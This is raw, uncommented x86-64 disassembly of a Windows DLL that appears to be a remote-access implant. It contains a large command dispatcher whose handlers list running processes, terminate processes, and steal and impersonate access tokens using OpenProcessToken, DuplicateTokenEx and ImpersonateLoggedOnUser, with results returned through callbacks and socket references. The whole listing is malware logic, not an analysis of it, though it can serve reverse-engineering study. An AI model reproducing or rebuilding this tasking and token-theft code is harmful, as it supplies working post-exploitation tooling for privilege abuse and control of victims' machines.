call fcn.180015100
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1800150e9
call fcn.180015204
mov r9d, 3
xor r8d, r8d
mov rcx, rdi
mov edx, eax
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], ebx
call fcn.180014a68
jmp 0x1800150f5
mov edx, ebx
mov ecx, socket
call fcn.18000e2a8
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
sub rsp, 0x48
cmp qword [0x180047c38], 0
je 0x180015b15
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180014854
lea rcx, [rsp + 0x20]
call fcn.180014900
mov rdx, qword [0x180047c38]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x180015b03
movzx ecx, ax
call fcn.18001ce10
add rsp, 0x48
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rcx, qword [0x180047c38]
movsxd rbx, edx
test rcx, rcx
je 0x180015b3d
call fcn.18001d188
lea eax, [rbx + 1]
movsxd rcx, eax
call fcn.18001d1c8
mov r8, rbx
mov rdx, rdi
mov rcx, rax
mov qword [0x180047c38], rax
call fcn.18001d860
mov rax, qword [0x180047c38]
mov byte [rbx + rax], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
sub rsp, 0x48
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180014854
lea rcx, [rsp + 0x20]
call fcn.180014864
xor ecx, ecx
test eax, eax
setne cl
mov dword [0x180047c40], ecx
add rsp, 0x48
ret
sub rsp, 0x48
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180014854
lea rcx, [rsp + 0x20]
call fcn.180014864
mov dword [0x180047c44], eax
test eax, eax
je 0x180015fb1
mov ecx, eax
call fcn.180015fe0
test eax, eax
jne 0x180015fb1
mov edx, dword [0x180047c44]
lea ecx, [rax + 0xf]
call fcn.18000e2a8
add rsp, 0x48
ret
sub rsp, 0x28
mov eax, r8d
mov r10, rdx
cmp ecx, 0x38
ja 0x1800170ae
je 0x1800170a0
cmp ecx, 0x1f
ja 0x180016eda
je 0x180016ec5
cmp ecx, 0xf
ja 0x180016de5
je 0x180016dd7
cmp ecx, 0xa
ja 0x180016d76
je 0x180016d61
dec ecx
je 0x180016d4a
sub ecx, 2
je 0x180016d3a
dec ecx
je 0x180016d2c
dec ecx
je 0x180016d1e
cmp ecx, 4
jne 0x1800173f1
lea r8d, [rcx - 3]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp fcn.180011724
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f054
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f604
lea rcx, [fcn.18000ce70]
add rsp, 0x28
jmp fcn.18000f0bc
mov r9d, 1
mov r8d, r9d
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp fcn.180011628
lea r8, [0x1800308e0]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f89c
sub ecx, 0xb
je 0x180016dc2
dec ecx
je 0x180016db4
dec ecx
je 0x180016da0
dec ecx
jne 0x1800173f1
lea r8, [fcn.18000ce70]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180014b88
mov r8d, 1
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180019eb0
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f230
lea r8, [fcn.18000ce70]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001098c
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180014e5c
sub ecx, 0x10
je 0x180016eb7
dec ecx
je 0x180016ea2
dec ecx
je 0x180016e87
dec ecx
je 0x180016e79
sub ecx, 3
je 0x180016e64
dec ecx
je 0x180016e4f
dec ecx
je 0x180016e3a
sub ecx, 3
je 0x180016e25
dec ecx
jne 0x1800173f1
add rsp, 0x28
jmp fcn.18001bc70
lea r8, [fcn.18000ce70]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001baf8
lea r8, [fcn.18000ce70]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180013654
lea r8, [fcn.18000ce70]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180013820
lea r8, [fcn.18000ce70]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800136b4
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180010b78
mov r8d, 1
lea r9, [fcn.18000ce70]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180011880
lea r8, [fcn.18000ce70]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180014dd0
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180014b4c
lea r8, [fcn.18000ce70]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001bcc8
cmp ecx, 0x2d
ja 0x180016fda
je 0x180016fbf
cmp ecx, 0x28
ja 0x180016f78
je 0x180016f64
sub ecx, 0x20
je 0x180016f4f
dec ecx
je 0x180016f41
sub ecx, 4
je 0x180016f33
dec ecx
je 0x180016f1e
dec ecx
jne 0x1800173f1
lea rcx, [fcn.18000ce70]
add rsp, 0x28
jmp 0x18000f338
lea r8, [fcn.18000ce70]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f3b0
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180015b1c
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180017488
lea r8, [fcn.18000ce70]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001750c
xor r9d, r9d
xor r8d, r8d
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180012ef4
sub ecx, 0x29
je 0x180016faf
dec ecx
je 0x180016fa1
dec ecx
je 0x180016f99
dec ecx
jne 0x1800173f1
lea r9d, [rcx + 1]
xor r8d, r8d
jmp 0x180016d53
xor r8d, r8d
jmp 0x180016d10
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180012ea4
lea rcx, [fcn.18000ce70]
add rsp, 0x28
jmp 0x180013044
mov r9d, 1
lea r8, [fcn.18000ce70]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001180c
sub ecx, 0x2e
je 0x180017098
dec ecx
je 0x18001708a
sub ecx, 2
je 0x180017075
dec ecx
je 0x180017064
dec ecx
je 0x180017056
dec ecx
je 0x180017048
dec ecx
je 0x180017033
dec ecx
je 0x180017025
dec ecx
jne 0x1800173f1
lea r8, [fcn.18000ce70]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180010e94
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800111a0
lea r8, [fcn.18000ce70]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180010f28
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f654
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180015020
xor r8d, r8d
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180014f94
lea r8, [fcn.18000ce70]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001bb8c
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f30c
xor r9d, r9d
jmp 0x180016fc5
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180010e34
cmp ecx, 0x54
ja 0x180017264
je 0x180017256
cmp ecx, 0x48
ja 0x18001719f
je 0x180017191
cmp ecx, 0x43
ja 0x18001713f
je 0x180017133
sub ecx, 0x39
je 0x180017125
sub ecx, 2
je 0x180017117
dec ecx
je 0x180017109
dec ecx
je 0x1800170f9
dec ecx
jne 0x1800173f1
xor r9d, r9d
lea r8d, [rcx + 1]
jmp 0x180016f6a
lea rcx, [fcn.18000ce70]
add rsp, 0x28
jmp 0x18000fbac
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000fc2c
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001cd38
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f740
lea r8, [0x1800308e4]
jmp 0x180016d68
sub ecx, 0x44
je 0x18001717c
dec ecx
je 0x180017174
dec ecx
je 0x18001715d
dec ecx
jne 0x1800173f1
lea r9d, [rcx + 1]
xor r8d, r8d
jmp 0x180017166
mov r9d, 1
mov r8d, r9d
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800118fc
xor r8d, r8d
jmp 0x180016da6
lea r8, [fcn.18000ce70]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180013b34
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f5fc
sub ecx, 0x49
je 0x180017248
dec ecx
je 0x18001723a
dec ecx
je 0x18001722c
dec ecx
je 0x18001721e
dec ecx
je 0x180017209
dec ecx
je 0x1800171fb
dec ecx
je 0x1800171ed
sub ecx, 3
je 0x1800171df
dec ecx
jne 0x1800173f1
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000c784
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180015084
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180015ad0
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f0d4
lea r8, [fcn.18000ce70]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000fcc8
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f4e8
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180015f70
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800111e0
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180010d68
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000c900
cmp ecx, 0x62
ja 0x18001732f
je 0x180017324
cmp ecx, 0x5a
ja 0x1800172e0
je 0x1800172d8
sub ecx, 0x55
je 0x1800172c8
dec ecx
je 0x1800172b3
dec ecx
je 0x1800172a7
dec ecx
je 0x18001729f
dec ecx
jne 0x1800173f1
xor r9d, r9d
lea r8d, [rcx + 1]
jmp 0x180016d53
xor r9d, r9d
jmp 0x180017158
xor r9d, r9d
lea r8d, [r9 + 1]
jmp 0x180017166
lea r8, [fcn.18000ce70]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180013fa4
lea rcx, [fcn.18000ce70]
add rsp, 0x28
jmp 0x18000c87c
xor r9d, r9d
jmp 0x180016f91
sub ecx, 0x5b
je 0x18001731c
dec ecx
je 0x18001730e
dec ecx
je 0x1800172fa
dec ecx
jne 0x1800173f1
xor r8d, r8d
jmp 0x180017300
mov r8d, 1
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180011b94
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180015e88
xor r8d, r8d
jmp 0x180016e8d
mov r8d, 1
jmp 0x1800173e7
sub ecx, 0x63
je 0x1800173e4
dec ecx
je 0x1800173d6
dec ecx
je 0x1800173cb
dec ecx
je 0x1800173c0
dec ecx
je 0x1800173ab
dec ecx
je 0x18001739d
dec ecx
je 0x180017388
sub ecx, 7
je 0x18001737a
dec ecx
jne 0x1800173f1
lea r8, [fcn.18000ce70]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f388
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f090
lea r8, [fcn.18000ce70]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001c354
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180014ec0
lea r8, [fcn.18000ce70]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180014cf8
mov r8d, 0x100007f
jmp 0x180017067
mov r9d, 1
jmp 0x180016f67
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000d210
xor r8d, r8d
mov edx, eax
mov rcx, r10
call fcn.180011ce8
add rsp, 0x28
ret
mov r11, rsp
mov qword [r11 + 8], rbx
push rdi
sub rsp, 0x40
and qword [r11 - 0x28], 0
xor eax, eax
mov r8d, edx
mov rdx, rcx
lea rcx, [r11 - 0x28]
mov qword [r11 - 0x20], rax
mov qword [r11 - 0x18], rax
call fcn.180014854
lea rcx, [rsp + 0x20]
call fcn.180014864
xor edx, edx
lea ecx, [rdx + 1]
mov r8d, eax
mov edi, eax
call fcn.18001af28
mov rbx, rax
test rax, rax
je 0x1800174e2
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x1800174f7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, edi
mov ecx, 0x23
mov r8d, eax
call fcn.18000e2b4
mov rcx, rbx
call fcn.18001aa30
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x8b8]
sub rsp, 0x9a0
mov rdi, rcx
mov r15, r8
mov ebx, edx
lea rcx, [rbp + 0xa1]
xor edx, edx
mov r8d, 0x7ff
mov byte [rbp + 0xa0], 0
call fcn.18001d470
lea rcx, [rsp + 0x58]
mov r8d, ebx
mov rdx, rdi
call fcn.180014854
lea rcx, [rsp + 0x58]
call fcn.180014864
lea rcx, [rsp + 0x40]
mov edx, 0x8000
mov esi, eax
call fcn.18000cfcc
test esi, esi
jle 0x18001758c
lea rcx, [rsp + 0x40]
mov edx, esi
call fcn.18000cffc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.18000ff70
test eax, eax
je 0x1800175a7
lea rdi, [0x1800308e8]
jmp 0x1800175c0
call fcn.18000ffb8
lea rcx, [0x1800308e8]
lea rdi, [0x1800308ec]
test eax, eax
cmovne rdi, rcx
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180017734
lea rdx, [rsp + 0x70]
mov rcx, rax
mov dword [rsp + 0x70], 0x130
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x1800175fd
mov rcx, rbx
call fcn.18001aa30
jmp 0x180017734
call fcn.180014568
mov r8d, dword [rsp + 0x78]
neg eax
sbb ecx, ecx
xor edx, edx
and ecx, 0xc00
add ecx, 0x400
call fcn.18001af28
mov r14, rax
test rax, rax
jne 0x18001764c
mov eax, dword [rsp + 0x78]
mov r9d, dword [rbp - 0x70]
lea r8, [rbp - 0x64]
lea rdx, str._s_t_d_t_d_n
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x20], eax
call fcn.18000d02c
jmp 0x1800176e9
lea rdx, [rbp + 0xa0]
mov r8d, 0x800
mov rcx, rax
call fcn.1800177a0
lea rdx, [rbp + 0x8d8]
neg eax
sbb cl, cl
and byte [rbp + 0xa0], cl
mov ecx, dword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
mov ecx, dword [rbp + 0x8d8]
or edx, 0xffffffff
test eax, eax
cmove ecx, edx
mov dword [rbp + 0x8d8], ecx
mov rcx, r14
call fcn.18000ff70
mov r9d, dword [rbp - 0x70]
lea rcx, [0x1800308ec]
test eax, eax
mov eax, dword [rbp + 0x8d8]
lea r8, [rbp - 0x64]
mov dword [rsp + 0x38], eax
lea rax, [rbp + 0xa0]
cmove rcx, rdi
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x78]
mov qword [rsp + 0x28], rcx
lea rdx, str._s_t_d_t_d_t_s_t_s_t_d_n
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x20], eax
call fcn.18000d02c
mov rcx, r14
call fcn.18001aa30
lea rdx, [rsp + 0x70]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1800175fd
mov rcx, rbx
call fcn.18001aa30
lea rcx, [rsp + 0x40]
call fcn.180014898
lea rcx, [rsp + 0x40]
mov ebx, eax
call fcn.18000d098
mov edx, ebx
mov r8d, reloc.WS2_32.dll_recvfrom
mov rcx, rax
test esi, esi
je 0x180017731
mov r8d, reloc.WS2_32.dll_shutdown
call r15
lea rcx, [rsp + 0x40]
call fcn.18000cfa8
lea r11, [rsp + 0x9a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rdi, qword [0x18004af90]
mov r14d, r8d
movsxd rsi, edx
mov rbp, rcx
mov r15d, 0x100
test rdi, rdi
je 0x180019eef
mov rbx, qword [0x18004af98]
test rbx, rbx
jne 0x180019f2a
mov ecx, 0x200
call fcn.18001473c
mov edx, r15d
mov rcx, rax
mov rbx, rax
call fcn.18001489c
mov edx, r15d
mov rcx, rbx
mov qword [0x18004af90], rax
call fcn.18001489c
mov rdi, qword [0x18004af90]
mov rbx, rax
mov qword [0x18004af98], rax
test esi, esi
je 0x180019f62
cmp esi, r15d
jg 0x180019f62
xor edx, edx
mov r8, r15
test r14d, r14d
je 0x180019f55
mov rcx, rdi
call fcn.18001d470
mov rcx, rdi
mov rdx, rbp
mov r8, rsi
call fcn.18001d860
jmp 0x180019f7c
mov rcx, rbx
call fcn.18001d470
mov rcx, rbx
jmp 0x180019f48
mov r8, r15
xor edx, edx
mov rcx, rdi
call fcn.18001d470
mov r8, r15
xor edx, edx
mov rcx, rbx
call fcn.18001d470
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
push rbx
sub rsp, 0x20
mov rbx, r8
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r8d, r8d
lea edx, [r8 + 8]
lea r9, [rsp + 0x48]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x18001bb3d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x48]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x18001bb56
mov rcx, qword [rsp + 0x48]
mov rdx, rbx
call fcn.18001c0fc
mov rcx, qword [rsp + 0x48]
call fcn.18001aa30
jmp 0x18001bb85
cmp qword [0x18004bc88], 0
je 0x18001bb7b
call fcn.18001c09c
mov rcx, qword [0x18004bc88]
mov rdx, rbx
call fcn.18001c0fc
call fcn.18001c0cc
jmp 0x18001bb85
mov ecx, 1
call fcn.18000e374
add rsp, 0x20
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rdi, rcx
mov ecx, 0xc00
mov r12, r8
mov ebx, edx
call fcn.18001473c
mov r13d, 0x400
mov rcx, rax
mov edx, r13d
mov r14, rax
call fcn.18001489c
mov edx, r13d
mov rcx, r14
mov r15, rax
call fcn.18001489c
mov edx, r13d
mov rcx, r14
mov rsi, rax
call fcn.18001489c
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
mov rbp, rax
call fcn.180014854
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, r15
call fcn.180014938
test eax, eax
je 0x18001bc52
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, rsi
call fcn.180014938
test eax, eax
je 0x18001bc52
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, rbp
call fcn.180014938
test eax, eax
je 0x18001bc52
mov r9, r12
mov r8, rbp
mov rdx, rsi
mov rcx, r15
call fcn.18001bef0
mov rcx, r14
call fcn.180014830
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x230
xor esi, esi
mov r14, r8
mov ebp, edx
and qword [rax + 0x20], rsi
lea eax, [rdx - 4]
mov rdi, rcx
test eax, 0xfffffffb
jne 0x18001be4e
mov ecx, dword [rcx]
call sub.WS2_32.dll_ntohl
mov ebx, eax
cmp ebp, 8
jne 0x18001bd12
mov ecx, dword [rdi + 4]
call sub.WS2_32.dll_ntohl
mov esi, eax
mov r8d, ebx
xor edx, edx
mov ecx, 0x400
call fcn.18001af28
mov rdi, rax
test rax, rax
jne 0x18001bd41
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rdi + 0x21]
mov r8d, eax
mov edx, ebx
call fcn.18000e2b4
jmp 0x18001be4e
lea r8, [rsp + 0x268]
mov rcx, rax
test esi, esi
jne 0x18001bd6c
mov edx, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x18001bd70
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x24
jmp 0x18001bd32
mov edx, esi
jmp 0x18001bd55
call fcn.18001bc70
mov rcx, qword [rsp + 0x268]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x18001bd94
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x25
jmp 0x18001bd32
mov rcx, qword [rsp + 0x268]
lea rax, [0x18004bc88]
mov r9d, 3
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov edx, 0x2000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x18001bdd8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x26
jmp 0x18001bd32
mov rcx, qword [0x18004bc88]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x18001bdf9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x27
jmp 0x18001bd32
mov rcx, rdi
call fcn.18001aa30
mov rcx, qword [rsp + 0x268]
test rcx, rcx
je 0x18001be13
call fcn.18001aa30
mov rcx, qword [0x18004bc88]
lea rdx, [rsp + 0x30]
mov r8d, 0x200
call fcn.18001c178
test eax, eax
je 0x18001be4e
lea rax, [rsp + 0x30]
or rdx, 0xffffffffffffffff
inc rdx
cmp byte [rax + rdx], 0
jne 0x18001be37
lea rcx, [rsp + 0x30]
mov r8d, reloc.WS2_32.dll_ntohs
call r14
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
cmp qword [0x18004bcc8], 0
mov rbx, r8
mov edi, edx
mov rsi, rcx
jne 0x18001c381
lea rcx, [0x18004bcb8]
call fcn.18001c87c
lea rcx, [rsp + 0x20]
mov r8d, edi
mov rdx, rsi
call fcn.180014854
lea rcx, [rsp + 0x20]
call fcn.180014864
dec eax
je 0x18001c3ee
dec eax
je 0x18001c3df
dec eax
je 0x18001c3d3
dec eax
je 0x18001c3c9
dec eax
je 0x18001c3c2
dec eax
jne 0x18001c3fb
lea rcx, [rsp + 0x20]
mov rdx, rbx
call fcn.18001c670
jmp 0x18001c3fb
call fcn.18001c468
jmp 0x18001c3fb
mov rcx, rbx
call fcn.18001c49c
jmp 0x18001c3fb
lea rcx, [rsp + 0x20]
call fcn.18001c40c
jmp 0x18001c3fb
lea rcx, [rsp + 0x20]
mov rdx, rbx
call fcn.18001c6f8
jmp 0x18001c3fb
lea rcx, [rsp + 0x20]
mov rdx, rbx
call fcn.18001c554
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180014854
lea rcx, [rsp + 0x20]
call fcn.180014900
lea rcx, [rsp + 0x20]
movzx edi, ax
call fcn.1800147b8
lea rcx, [rsp + 0x20]
mov rbx, rax
call fcn.180014898
mov rdx, rbx
mov r8d, eax
movzx ecx, di
call fcn.18001ce10
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
push rbx
sub rsp, 0x20
mov rbx, rcx
mov ecx, 7
call fcn.180021c40
nop
xor edx, edx
mov rcx, rbx
call fcn.18002c8ec
mov ebx, eax
mov ecx, 7
call fcn.180021e28
mov eax, ebx
add rsp, 0x20
pop rbx
ret